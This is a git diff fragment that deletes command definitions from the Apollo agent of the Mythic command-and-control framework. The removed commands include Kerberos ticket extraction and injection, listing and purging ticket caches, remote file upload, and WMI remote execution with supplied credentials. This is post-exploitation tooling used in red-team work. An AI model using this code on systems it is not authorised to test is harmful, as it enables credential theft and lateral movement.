#datetime.fromtimestamp(ccache.credentials[0].__getitem__('time')['starttime']).isoformat() - #datetime.fromtimestamp(ccache.credentials[0].__getitem__('time')['endtime']).isoformat() - #datetime.fromtimestamp(ccache.credentials[0].__getitem__('time')['renew_till']).isoformat() - formattedComment = f"Service: {ccache.credentials[0].__getitem__('server').prettyPrint().decode('utf-8')}\n" - formattedComment += f"Start: {get_ticket_time(ccache.credentials[0], 'starttime')}\n" - formattedComment += f"End: {get_ticket_time(ccache.credentials[0],'endtime')}\n" - formattedComment += f"Renew: {get_ticket_time(ccache.credentials[0],'renew_till')}\n" - if current_group_name == "Add New Ticket": - resp = await SendMythicRPCCredentialCreate(MythicRPCCredentialCreateMessage( - TaskID=taskData.Task.ID, - Credentials=[ - MythicRPCCredentialData( - credential_type="ticket", - credential=taskData.args.get_arg("base64ticket"), - account=ccache.credentials[0].__getitem__("client").prettyPrint().decode('utf-8'), - realm=ccache.credentials[0].__getitem__("client").prettyPrint().decode('utf-8').split("@")[1], - comment=formattedComment, - ) - ] - )) - response.DisplayParams = f" client: {ccache.credentials[0].__getitem__('client').prettyPrint().decode('utf-8')}" - response.DisplayParams += f", service: {ccache.credentials[0].__getitem__('server').prettyPrint().decode('utf-8')}" - luid = taskData.args.get_arg("luid") - if luid is not None and luid != "": - response.DisplayParams += f" -luid {luid}" - return response - - async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: - resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) - return resp diff --git a/Payload_Type/apollo/apollo/mythic/agent_functions/ticket_cache_extract.py b/Payload_Type/apollo/apollo/mythic/agent_functions/ticket_cache_extract.py deleted file mode 100644 index 50bb09f3..00000000 --- a/Payload_Type/apollo/apollo/mythic/agent_functions/ticket_cache_extract.py +++ /dev/null @@ -1,122 +0,0 @@ -from mythic_container.MythicCommandBase import * -import json -from mythic_container.MythicRPC import * -import sys -import base64 -from impacket.krb5.ccache import CCache -from datetime import datetime - - -class ticket_cache_extractArguments(TaskArguments): - - def __init__(self, command_line, **kwargs): - super().__init__(command_line, **kwargs) - self.args = [ - CommandParameter( - name="service", - cli_name="service", - display_name="service", - type=ParameterType.String, - description="Service to extract a ticket for, use krbtgt to get the TGT from the session, otherwise use the service name (ex. ldap, cifs, host)", - parameter_group_info=[ - ParameterGroupInfo( - required=True, - ui_position=1, - ), - ]), - CommandParameter( - name="luid", - cli_name="luid", - display_name="luid", - type=ParameterType.String, - description="From an elevated context a LUID may be provided to target a specific session to enumerate tickets.", - parameter_group_info=[ - ParameterGroupInfo( - required=False, - ui_position=2, - ), - ]), - ] - - async def parse_arguments(self): - if self.command_line[0] != "{": - raise Exception("Require JSON blob, but got raw command line.") - self.load_args_from_json_string(self.command_line) - pass - -def get_ticket_time(credential, key) -> str: - try: - return datetime.fromtimestamp(credential.__getitem__('time')[key]).isoformat() - except: - return "" - -async def parse_credentials(task: PTTaskCompletionFunctionMessage, ) -> PTTaskCompletionFunctionMessageResponse: - response = PTTaskCompletionFunctionMessageResponse( - Success=True, Completed=True - ) - responses = await SendMythicRPCResponseSearch( - MythicRPCResponseSearchMessage(TaskID=task.TaskData.Task.ID) - ) - #logger.info(responses.Responses) - for output in responses.Responses: - try: - ticket_out = json.loads(str(output.Response)) - ccache = CCache() - ccache.fromKRBCRED(base64.b64decode(ticket_out['ticket'])) - formattedComment = f"Service: {ccache.credentials[0].__getitem__('server').prettyPrint().decode('utf-8')}\n" - formattedComment += f"Start: {get_ticket_time(ccache.credentials[0], 'starttime')}\n" - formattedComment += f"End: {get_ticket_time(ccache.credentials[0],'endtime')}\n" - formattedComment += f"Renew: {get_ticket_time(ccache.credentials[0],'renew_till')}\n" - resp = await SendMythicRPCCredentialCreate(MythicRPCCredentialCreateMessage( - TaskID=task.TaskData.Task.ID, - Credentials=[ - MythicRPCCredentialData( - credential_type="ticket", - credential=ticket_out['ticket'], - account=ccache.credentials[0].__getitem__("client").prettyPrint().decode('utf-8'), - realm=ccache.credentials[0].__getitem__("client").prettyPrint().decode('utf-8').split("@")[1], - comment=formattedComment, - ) - ] - )) - if resp.Success: - await SendMythicRPCResponseCreate(MythicRPCResponseCreateMessage( - TaskID=task.TaskData.Task.ID, - Response=f"\nAdded credential to Mythic for {ccache.credentials[0].__getitem__('client').prettyPrint().decode('utf-8')}".encode() - )) - else: - await SendMythicRPCResponseCreate(MythicRPCResponseCreateMessage( - TaskID=task.TaskData.Task.ID, - Response=f"\nFailed to add to Mythic's credential store:\n{resp.Error}".encode() - )) - except Exception as e: - logger.error(e) - return response - - -class ticket_cache_extractCommand(CommandBase): - cmd = "ticket_cache_extract" - needs_admin = False - help_cmd = "ticket_cache_extract -service [service] -luid [luid]" - description = "extract a ticket for the provided service name from the current or specified luid" - version = 2 - author = "@drago-qcc" - supported_ui_features = ["apollo:ticket_cache_extract"] - argument_class = ticket_cache_extractArguments - attackmapping = [] - attributes = CommandAttributes( - suggested_command=True - ) - completion_functions = {"parse_credentials": parse_credentials} - browser_script = BrowserScript( - script_name="ticket_cache_extract", author="@its_a_feature_", for_new_ui=True - ) - - async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse: - response = PTTaskCreateTaskingMessageResponse( TaskID=taskData.Task.ID,Success=True) - response.CompletionFunctionName = "parse_credentials" - return response - - async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: - resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) - return resp diff --git a/Payload_Type/apollo/apollo/mythic/agent_functions/ticket_cache_list.py b/Payload_Type/apollo/apollo/mythic/agent_functions/ticket_cache_list.py deleted file mode 100644 index 5a4e8f15..00000000 --- a/Payload_Type/apollo/apollo/mythic/agent_functions/ticket_cache_list.py +++ /dev/null @@ -1,78 +0,0 @@ -from mythic_container.MythicCommandBase import * -import json -from mythic_container.MythicRPC import * -import sys -import base64 - - -class ticket_cache_listArguments(TaskArguments): - - def __init__(self, command_line, **kwargs): - super().__init__(command_line, **kwargs) - self.args = [ - CommandParameter( - name="luid", - cli_name="luid", - display_name="luid", - default_value="", - type=ParameterType.String, - description="From an elevated context a LUID may be provided to target a specific session to enumerate tickets.", - parameter_group_info=[ - ParameterGroupInfo( - required=False, - ui_position=1, - ), - ]), - CommandParameter( - name="getSystemTickets", - cli_name="getSystemTickets", - display_name="Get System Tickets", - type=ParameterType.Boolean, - default_value=False, - description="Set this to false to filter out tickets for the SYSTEM context", - parameter_group_info=[ - ParameterGroupInfo( - required=False, - ui_position=2 - ) - ] - ) - ] - - async def parse_arguments(self): - if self.command_line[0] != "{": - raise Exception("Require JSON blob, but got raw command line.") - self.load_args_from_json_string(self.command_line) - - -class ticket_cache_listCommand(CommandBase): - cmd = "ticket_cache_list" - needs_admin = False - help_cmd = "ticket_cache_list -getSystemTickets true -luid [luid]" - description = "List all kerberos tickets in the current logon session, or if elevated list all tickets for all logon sessions, optionally while elevated a single luid can be provided to limit the enumeration" - version = 2 - author = "@drago-qcc" - supported_ui_features = ["apollo:ticket_cache_list"] - argument_class = ticket_cache_listArguments - attackmapping = [] - attributes = CommandAttributes( - suggested_command=True - ) - browser_script = BrowserScript( - script_name="ticket_cache_list", author="@its_a_feature_", for_new_ui=True - ) - - async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse: - response = PTTaskCreateTaskingMessageResponse( TaskID=taskData.Task.ID,Success=True) - getSystemTickets = taskData.args.get_arg("getSystemTickets") - response.DisplayParams = "" - luid = taskData.args.get_arg("luid") - if getSystemTickets: - response.DisplayParams += f" -getSystemTickets {getSystemTickets}" - if luid != "" and luid is not None: - response.DisplayParams += f" -luid {luid}" - return response - - async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: - resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) - return resp diff --git a/Payload_Type/apollo/apollo/mythic/agent_functions/ticket_cache_purge.py b/Payload_Type/apollo/apollo/mythic/agent_functions/ticket_cache_purge.py deleted file mode 100644 index 3837d08e..00000000 --- a/Payload_Type/apollo/apollo/mythic/agent_functions/ticket_cache_purge.py +++ /dev/null @@ -1,92 +0,0 @@ -from mythic_container.MythicCommandBase import * -import json -from mythic_container.MythicRPC import * -import sys -import base64 - - -class ticket_cache_purgeArguments(TaskArguments): - - def __init__(self, command_line, **kwargs): - super().__init__(command_line, **kwargs) - self.args = [ - CommandParameter( - name="serviceName", - cli_name="serviceName", - display_name="serviceName", - default_value="", - type=ParameterType.String, - description="the name of the service to remove, needs to include the domain name, is required if -all flag is not present", - parameter_group_info=[ - ParameterGroupInfo( - required=False, - ui_position=1, - ), - ]), - CommandParameter( - name="all", - cli_name="all", - display_name="all", - type=ParameterType.Boolean, - description="If supplied all tickets will be removed from the current LUID on the system", - default_value=False, - parameter_group_info=[ - ParameterGroupInfo( - required=False, - ui_position=2, - ), - ]), - CommandParameter( - name="luid", - cli_name="luid", - display_name="luid", - default_value="", - type=ParameterType.String, - description="From an elevated context a LUID may be provided to target a specific session to enumerate tickets.", - parameter_group_info=[ - ParameterGroupInfo( - required=False, - ui_position=3, - ), - ]) - ] - - async def parse_arguments(self): - if self.command_line[0] != "{": - raise Exception("Require JSON blob, but got raw command line.") - self.load_args_from_json_string(self.command_line) - if not self.get_arg("all") and self.get_arg("serviceName") == "": - raise Exception("Need serviceName when specifying to not purge all tickets") - pass - - -class ticket_cache_purgeCommand(CommandBase): - cmd = "ticket_cache_purge" - needs_admin = False - help_cmd = "ticket_cache_purge -serviceName krbtgt/domain.com" - description = "Remove the specified ticket from the system. This modifies your current logon session tickets, so be careful if purging all." - version = 2 - author = "@drago-qcc" - supported_ui_features = ["apollo:ticket_cache_purge"] - argument_class = ticket_cache_purgeArguments - attackmapping = [] - attributes = CommandAttributes( - suggested_command=True - ) - - async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse: - response = PTTaskCreateTaskingMessageResponse( TaskID=taskData.Task.ID,Success=True) - response.DisplayParams = "" - luid = taskData.args.get_arg("luid") - all = taskData.args.get_arg("all") - serviceName = taskData.args.get_arg("serviceName") - if serviceName != "": - response.DisplayParams += f" -serviceName {serviceName}" - if luid != "" and luid is not None: - response.DisplayParams += f" -luid {luid}" - response.DisplayParams += f" -all {all}" - return response - - async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: - resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) - return resp diff --git a/Payload_Type/apollo/apollo/mythic/agent_functions/ticket_store_add.py b/Payload_Type/apollo/apollo/mythic/agent_functions/ticket_store_add.py deleted file mode 100644 index e3532167..00000000 --- a/Payload_Type/apollo/apollo/mythic/agent_functions/ticket_store_add.py +++ /dev/null @@ -1,151 +0,0 @@ -from mythic_container.MythicCommandBase import * -from mythic_container.MythicRPC import * -import base64 -from impacket.krb5.ccache import CCache -from datetime import datetime - - -class ticket_store_addArguments(TaskArguments): - - def __init__(self, command_line, **kwargs): - super().__init__(command_line, **kwargs) - self.args = [ - CommandParameter( - name="base64ticket", - cli_name="b64ticket", - display_name="b64ticket", - type=ParameterType.String, - description="A base64 encoded kerberos ticket value that will be loaded into the agents ticket store for future use", - parameter_group_info=[ - ParameterGroupInfo( - required=True, - ui_position=1, - group_name="Add New Ticket" - ), - ]), - CommandParameter( - name="existingTicket", - cli_name="existingTicket", - display_name="Existing Ticket", - type=ParameterType.Credential_JSON, - limit_credentials_by_type=["ticket"], - description="An existing ticket from Mythic's credential store", - parameter_group_info=[ - ParameterGroupInfo( - required=True, - ui_position=1, - group_name="Use Existing Ticket" - ), - ]), - ] - - async def parse_arguments(self): - if self.command_line[0] != "{": - raise Exception("Require JSON blob, but got raw command line.") - self.load_args_from_json_string(self.command_line) - -def get_ticket_time(credential, key) -> str: - try: - return datetime.fromtimestamp(credential.__getitem__('time')[key]).isoformat() - except: - return "" - -def get_ticket_time_int(credential, key) -> int: - try: - return credential.__getitem__('time')[key] - except: - return 0 - -class ticket_store_addCommand(CommandBase): - cmd = "ticket_store_add" - needs_admin = False - help_cmd = "ticket_store_add -b64ticket [b64ticket]" - description = "Add a kerberos ticket to the agents internal ticket store. Tickets are injected into sacrificial processes when you're impersonating a token (make_token / steal_token). This is because you have a new logon session to put the tickets into without overriding your existing tickets. For safety, do a make_token with junk creds first." - version = 2 - author = "@drago-qcc" - supported_ui_features = ["apollo:ticket_store_add"] - argument_class = ticket_store_addArguments - attackmapping = [] - attributes = CommandAttributes( - suggested_command=True - ) - - async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse: - response = PTTaskCreateTaskingMessageResponse( TaskID=taskData.Task.ID,Success=True) - current_group_name = taskData.args.get_parameter_group_name() - if current_group_name == "Use Existing Ticket": - credentialData = taskData.args.get_arg("existingTicket") - taskData.args.remove_arg("existingTicket") - taskData.args.add_arg("base64ticket", credentialData["credential"], parameter_group_info=[ParameterGroupInfo(group_name=current_group_name)]) - base64Ticket = taskData.args.get_arg("base64ticket") - ccache = CCache() - ccache.fromKRBCRED(base64.b64decode(base64Ticket)) - #ccache.credentials[0].__getitem__('client').prettyPrint() # user@domain - #ccache.credentials[0].__getitem__('server').prettyPrint() # krbtgt/domain@domain - #datetime.fromtimestamp(ccache.credentials[0].__getitem__('time')['starttime']).isoformat() - #datetime.fromtimestamp(ccache.credentials[0].__getitem__('time')['endtime']).isoformat() - #datetime.fromtimestamp(ccache.credentials[0].__getitem__('time')['renew_till']).isoformat() - formattedComment = f"Service: {ccache.credentials[0].__getitem__('server').prettyPrint().decode('utf-8')}\n" - formattedComment += f"Start: {get_ticket_time(ccache.credentials[0], 'starttime')}\n" - formattedComment += f"End: {get_ticket_time(ccache.credentials[0],'endtime')}\n" - formattedComment += f"Renew: {get_ticket_time(ccache.credentials[0],'renew_till')}\n" - if current_group_name == "Add New Ticket": - resp = await SendMythicRPCCredentialCreate(MythicRPCCredentialCreateMessage( - TaskID=taskData.Task.ID, - Credentials=[ - MythicRPCCredentialData( - credential_type="ticket", - credential=taskData.args.get_arg("base64ticket"), - account=ccache.credentials[0].__getitem__("client").prettyPrint().decode('utf-8'), - realm=ccache.credentials[0].__getitem__("client").prettyPrint().decode('utf-8').split("@")[1], - comment=formattedComment, - ) - ] - )) - response.DisplayParams = f" client: {ccache.credentials[0].__getitem__('client').prettyPrint().decode('utf-8')}" - response.DisplayParams += f", service: {ccache.credentials[0].__getitem__('server').prettyPrint().decode('utf-8')}" - taskData.args.add_arg("luid", - type=ParameterType.Number, - value=0, - parameter_group_info=[ParameterGroupInfo(group_name=current_group_name)]) - taskData.args.add_arg("ClientName", - type=ParameterType.String, - value=ccache.credentials[0].__getitem__('client').prettyPrint().decode('utf-8').split("@")[0], - parameter_group_info=[ParameterGroupInfo(group_name=current_group_name)]) - taskData.args.add_arg("ClientRealm", - type=ParameterType.String, - value=ccache.credentials[0].__getitem__('client').prettyPrint().decode('utf-8').split("@")[1], - parameter_group_info=[ParameterGroupInfo(group_name=current_group_name)]) - taskData.args.add_arg("ServerName", - type=ParameterType.String, - value=ccache.credentials[0].__getitem__('server').prettyPrint().decode('utf-8').split("@")[0], - parameter_group_info=[ParameterGroupInfo(group_name=current_group_name)]) - taskData.args.add_arg("ServerRealm", - type=ParameterType.String, - value=ccache.credentials[0].__getitem__('server').prettyPrint().decode('utf-8').split("@")[1], - parameter_group_info=[ParameterGroupInfo(group_name=current_group_name)]) - taskData.args.add_arg("StartTime", - type=ParameterType.Number, - value=get_ticket_time_int(ccache.credentials[0],'starttime'), - parameter_group_info=[ParameterGroupInfo(group_name=current_group_name)]) - taskData.args.add_arg("EndTime", - type=ParameterType.Number, - value=get_ticket_time_int(ccache.credentials[0],'endtime'), - parameter_group_info=[ParameterGroupInfo(group_name=current_group_name)]) - taskData.args.add_arg("RenewTime", - type=ParameterType.Number, - value=get_ticket_time_int(ccache.credentials[0],'renew_till'), - parameter_group_info=[ParameterGroupInfo(group_name=current_group_name)]) - taskData.args.add_arg("TicketFlags", - type=ParameterType.Number, - value=ccache.credentials[0].__getitem__('tktflags'), - parameter_group_info=[ParameterGroupInfo(group_name=current_group_name)]) - taskData.args.add_arg("EncryptionType", - type=ParameterType.Number, - value=ccache.credentials[0].__getitem__('key')['keytype'], - parameter_group_info=[ParameterGroupInfo(group_name=current_group_name)]) - return response - - async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: - resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) - return resp diff --git a/Payload_Type/apollo/apollo/mythic/agent_functions/ticket_store_list.py b/Payload_Type/apollo/apollo/mythic/agent_functions/ticket_store_list.py deleted file mode 100644 index da5c6f9b..00000000 --- a/Payload_Type/apollo/apollo/mythic/agent_functions/ticket_store_list.py +++ /dev/null @@ -1,62 +0,0 @@ -from mythic_container.MythicCommandBase import * -import json -from mythic_container.MythicRPC import * -import sys -import base64 - - -class ticket_store_listArguments(TaskArguments): - - def __init__(self, command_line, **kwargs): - super().__init__(command_line, **kwargs) - self.args = [ - CommandParameter( - name="luid", - cli_name="luid", - display_name="luid", - default_value="", - type=ParameterType.String, - description="Can be used to filter tickets that are returned from the internal agent ticket store", - parameter_group_info=[ - ParameterGroupInfo( - required=False, - ui_position=1, - ), - ]) - ] - - async def parse_arguments(self): - if self.command_line[0] != "{": - raise Exception("Require JSON blob, but got raw command line.") - self.load_args_from_json_string(self.command_line) - pass - - -class ticket_store_listCommand(CommandBase): - cmd = "ticket_store_list" - needs_admin = False - help_cmd = "ticket_store_list -luid [luid]" - description = "List all kerberos tickets in the agents ticket store, optionally a single luid can be provided to limit the items returned from the store" - version = 2 - author = "@drago-qcc" - supported_ui_features = ["apollo:ticket_store_list"] - argument_class = ticket_store_listArguments - attackmapping = [] - attributes = CommandAttributes( - suggested_command=True - ) - browser_script = BrowserScript( - script_name="ticket_store_list", author="@its_a_feature_", for_new_ui=True - ) - - async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse: - response = PTTaskCreateTaskingMessageResponse( TaskID=taskData.Task.ID,Success=True) - response.DisplayParams = "" - luid = taskData.args.get_arg("luid") - if luid != "": - response.DisplayParams += f" -luid {luid}" - return response - - async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: - resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) - return resp diff --git a/Payload_Type/apollo/apollo/mythic/agent_functions/ticket_store_purge.py b/Payload_Type/apollo/apollo/mythic/agent_functions/ticket_store_purge.py deleted file mode 100644 index afcb2dbd..00000000 --- a/Payload_Type/apollo/apollo/mythic/agent_functions/ticket_store_purge.py +++ /dev/null @@ -1,69 +0,0 @@ -from mythic_container.MythicCommandBase import * -import json -from mythic_container.MythicRPC import * -import sys -import base64 - - -class ticket_store_purgeArguments(TaskArguments): - - def __init__(self, command_line, **kwargs): - super().__init__(command_line, **kwargs) - self.args = [ - CommandParameter( - name="serviceName", - cli_name="serviceName", - display_name="serviceName", - type=ParameterType.String, - description="the name of the service to remove, needs to include the domain name, is required if -all flag is not present", - parameter_group_info=[ - ParameterGroupInfo( - required=False, - ui_position=1, - ), - ]), - CommandParameter( - name="all", - cli_name="all", - display_name="all", - type=ParameterType.Boolean, - description="If supplied all tickets will be removed from the store", - default_value= False, - parameter_group_info=[ - ParameterGroupInfo( - required=False, - ui_position=2, - ), - ]) - ] - - async def parse_arguments(self): - if self.command_line[0] != "{": - raise Exception("Require JSON blob, but got raw command line.") - self.load_args_from_json_string(self.command_line) - if not self.get_arg("all") and self.get_arg("serviceName") == "": - raise Exception("Need serviceName when specifying to not purge all tickets") - pass - - -class ticket_store_purgeCommand(CommandBase): - cmd = "ticket_store_purge" - needs_admin = False - help_cmd = "ticket_store_purge -all false -serviceName [service name]" - description = "Remove the specified ticket from the ticket store" - version = 2 - author = "@drago-qcc" - supported_ui_features = ["apollo:ticket_store_purge"] - argument_class = ticket_store_purgeArguments - attackmapping = [] - attributes = CommandAttributes( - suggested_command=True - ) - - async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse: - response = PTTaskCreateTaskingMessageResponse( TaskID=taskData.Task.ID,Success=True) - return response - - async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: - resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) - return resp diff --git a/Payload_Type/apollo/apollo/mythic/agent_functions/unlink.py b/Payload_Type/apollo/apollo/mythic/agent_functions/unlink.py deleted file mode 100644 index d4321353..00000000 --- a/Payload_Type/apollo/apollo/mythic/agent_functions/unlink.py +++ /dev/null @@ -1,46 +0,0 @@ -from mythic_container.MythicCommandBase import * -import json - - -class UnlinkArguments(TaskArguments): - - def __init__(self, command_line, **kwargs): - super().__init__(command_line, **kwargs) - self.args = [ - CommandParameter( - name="link_info", - cli_name="Callback", - display_name="Callback to Unlink", - type=ParameterType.LinkInfo) - ] - - async def parse_arguments(self): - if len(self.command_line) == 0: - raise Exception("No arguments given.") - if self.command_line[0] != "{": - raise Exception("Require JSON blob, but got raw command line.") - self.load_args_from_json_string(self.command_line) - pass - - -class UnlinkCommand(CommandBase): - cmd = "unlink" - needs_admin = False - help_cmd = "unlink (modal popup)" - description = "Unlinks a callback from the agent." - version = 2 - author = "@djhohnstein" - argument_class = UnlinkArguments - attackmapping = [] - - async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse: - response = PTTaskCreateTaskingMessageResponse( - TaskID=taskData.Task.ID, - Success=True, - ) - response.DisplayParams = "{}".format(taskData.args.get_arg("link_info")["host"]) - return response - - async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: - resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) - return resp \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/mythic/agent_functions/upload.py b/Payload_Type/apollo/apollo/mythic/agent_functions/upload.py deleted file mode 100644 index fe8cc243..00000000 --- a/Payload_Type/apollo/apollo/mythic/agent_functions/upload.py +++ /dev/null @@ -1,144 +0,0 @@ -from mythic_container.MythicCommandBase import * -import json -from mythic_container.MythicRPC import * -import sys -import re - - -class UploadArguments(TaskArguments): - - def __init__(self, command_line, **kwargs): - super().__init__(command_line, **kwargs) - self.args = [ - CommandParameter( - name="remote_path", - cli_name="Path", - display_name="Path With Filename", - type=ParameterType.String, - description="Path to write the file on the target. If empty, defaults to current working directory.", - parameter_group_info=[ - ParameterGroupInfo( - required=False, - ), - ], - ), - CommandParameter( - name="file", - cli_name="File", - display_name="File", - type=ParameterType.File, - ), - ] - - async def parse_dictionary(self, dictionary_arguments): - self.load_args_from_dictionary(dictionary_arguments) - if "host" in dictionary_arguments: - if 'remote_path' in dictionary_arguments: - if dictionary_arguments['remote_path'].startswith("\\\\") or ":\\" in dictionary_arguments['remote_path']: - # remote_path includes UNC path or some full directory, just use it - pass - else: - new_path = dictionary_arguments["full_path"].rstrip("\\") + "\\" + dictionary_arguments["remote_path"] - self.add_arg("remote_path", f'\\\\{dictionary_arguments["host"]}\\{new_path}') - else: - if "full_path" in dictionary_arguments: - self.add_arg("remote_path", f'\\\\{dictionary_arguments["host"]}\\{dictionary_arguments["full_path"]}') - elif "path" in dictionary_arguments: - self.add_arg("remote_path", f'\\\\{dictionary_arguments["host"]}\\{dictionary_arguments["path"]}') - elif "file" in dictionary_arguments: - self.add_arg("remote_path", f'\\\\{dictionary_arguments["host"]}\\{dictionary_arguments["file"]}') - else: - logger.info("unknown dictionary args") - - async def parse_arguments(self): - if len(self.command_line) == 0: - raise Exception("Require arguments.") - if self.command_line[0] != "{": - raise Exception("Require JSON blob, but got raw command line.") - self.load_args_from_json_string(self.command_line) - remote_path = self.get_arg("remote_path") - if remote_path != "" and remote_path is not None: - remote_path = remote_path.strip() - if remote_path[0] == '"' and remote_path[-1] == '"': - remote_path = remote_path[1:-1] - elif remote_path[0] == "'" and remote_path[-1] == "'": - remote_path = remote_path[1:-1] - self.add_arg("remote_path", remote_path) - - -class UploadCommand(CommandBase): - cmd = "upload" - needs_admin = False - help_cmd = "upload (modal popup)" - description = "Upload a file from the Mythic server to the remote host." - version = 2 - supported_ui_features = ["file_browser:upload"] - author = "@djhohnstein" - argument_class = UploadArguments - attackmapping = ["T1132", "T1030", "T1105"] - attributes = CommandAttributes(suggested_command=True) - - async def create_go_tasking( - self, taskData: PTTaskMessageAllData - ) -> PTTaskCreateTaskingMessageResponse: - response = PTTaskCreateTaskingMessageResponse( - TaskID=taskData.Task.ID, - Success=True, - ) - file_resp = await SendMythicRPCFileSearch( - MythicRPCFileSearchMessage( - TaskID=taskData.Task.ID, AgentFileID=taskData.args.get_arg("file") - ) - ) - if file_resp.Success: - original_file_name = file_resp.Files[0].Filename - else: - raise Exception( - "Failed to fetch uploaded file from Mythic (ID: {})".format( - taskData.args.get_arg("file") - ) - ) - - taskData.args.add_arg( - "file_name", original_file_name, type=ParameterType.String - ) - - path = taskData.args.get_arg("remote_path") - if path is None or path == "": - path = original_file_name - taskData.args.add_arg("remote_path", path) - taskData.args.add_arg("host", taskData.Callback.Host) - if uncmatch := re.match( - r"^\\\\(?P[^\\]+)\\(?P.*)$", - path, - ): - taskData.args.add_arg("host", uncmatch.group("host")) - taskData.args.set_arg("remote_path", uncmatch.group("path")) - else: - # Set the host argument to an empty string if it does not exist - taskData.args.add_arg("host", taskData.Callback.Host) - if host := taskData.args.get_arg("host"): - host = host.upper() - - # Resolve 'localhost' and '127.0.0.1' aliases - if host == "127.0.0.1" or host.lower() == "localhost": - host = taskData.Callback.Host - - taskData.args.set_arg("host", host) - if path is not None and path != "": - if host is not None and host != "": - disp_str = "-File {} -Host {} -Path {}".format( - original_file_name, taskData.args.get_arg("host"), taskData.args.get_arg("remote_path") - ) - else: - disp_str = "-File {} -Path {}".format(original_file_name, taskData.args.get_arg("remote_path")) - else: - disp_str = "-File {}".format(original_file_name) - response.DisplayParams = disp_str - return response - - async def process_response( - self, task: PTTaskMessageAllData, response: any - ) -> PTTaskProcessResponseMessageResponse: - resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) - return resp diff --git a/Payload_Type/apollo/apollo/mythic/agent_functions/whoami.py b/Payload_Type/apollo/apollo/mythic/agent_functions/whoami.py deleted file mode 100644 index a2ad4933..00000000 --- a/Payload_Type/apollo/apollo/mythic/agent_functions/whoami.py +++ /dev/null @@ -1,36 +0,0 @@ -from mythic_container.MythicCommandBase import * -import json - - -class WhoamiArguments(TaskArguments): - - def __init__(self, command_line, **kwargs): - super().__init__(command_line, **kwargs) - self.args = [] - - async def parse_arguments(self): - if len(self.command_line) > 0: - raise Exception("whoami takes no command line arguments.") - pass - - -class WhoamiCommand(CommandBase): - cmd = "whoami" - needs_admin = False - help_cmd = "whoami" - description = "Get the username associated with your current thread token." - version = 2 - author = "@djhohnstein" - argument_class = WhoamiArguments - attackmapping = ["T1033"] - - async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse: - response = PTTaskCreateTaskingMessageResponse( - TaskID=taskData.Task.ID, - Success=True, - ) - return response - - async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: - resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) - return resp \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/mythic/agent_functions/wmiexecute.py b/Payload_Type/apollo/apollo/mythic/agent_functions/wmiexecute.py deleted file mode 100644 index 70de34a3..00000000 --- a/Payload_Type/apollo/apollo/mythic/agent_functions/wmiexecute.py +++ /dev/null @@ -1,109 +0,0 @@ -from mythic_container.MythicCommandBase import * -import json -from mythic_container.MythicRPC import * -import sys -import base64 - - -class WmiExecuteArguments(TaskArguments): - - def __init__(self, command_line, **kwargs): - super().__init__(command_line, **kwargs) - self.args = [ - CommandParameter( - name="command", - cli_name="command", - display_name="command", - type=ParameterType.String, - description="Should be the full path and arguments of the process to execute", - parameter_group_info=[ - ParameterGroupInfo( - required=True, - ui_position=1 - ), - ]), - CommandParameter( - name="host", - cli_name="host", - display_name="Host", - type=ParameterType.String, - description="Computer to execute the command on. If empty, the current computer.", - parameter_group_info=[ - ParameterGroupInfo( - required=False, - ui_position=2 - ), - ]), - CommandParameter( - name="username", - cli_name="username", - display_name="username", - type=ParameterType.String, - description="username of the account to execute the wmi process as", - parameter_group_info=[ - ParameterGroupInfo( - required=False, - ui_position=3 - ), - ]), - CommandParameter( - name="password", - cli_name="password", - display_name="password", - type=ParameterType.String, - description="plaintext password of the account", - parameter_group_info=[ - ParameterGroupInfo( - required=False, - ui_position=4 - ), - ]), - CommandParameter( - name="domain", - cli_name="domain", - display_name="domain", - type=ParameterType.String, - description="domain name for the account", - parameter_group_info=[ - ParameterGroupInfo( - required=False, - ui_position=5 - ), - ]) - ] - - async def parse_arguments(self): - if len(self.command_line) == 0: - raise Exception("Require arguments.") - if self.command_line[0] != "{": - raise Exception("Require JSON blob, but got raw command line.") - self.load_args_from_json_string(self.command_line) - pass - - -class wmiexecuteCommand(CommandBase): - cmd = "wmiexecute" - needs_admin = False - help_cmd = "wmiexecute -command [command] -host [host]" - description = "Use WMI to execute a command on the local or specified remote system, can also be given optional credentials to impersonate a different user." - version = 2 - author = "@drago-qcc" - argument_class = WmiExecuteArguments - attackmapping = [] - attributes = CommandAttributes( - suggested_command=True - ) - - async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> 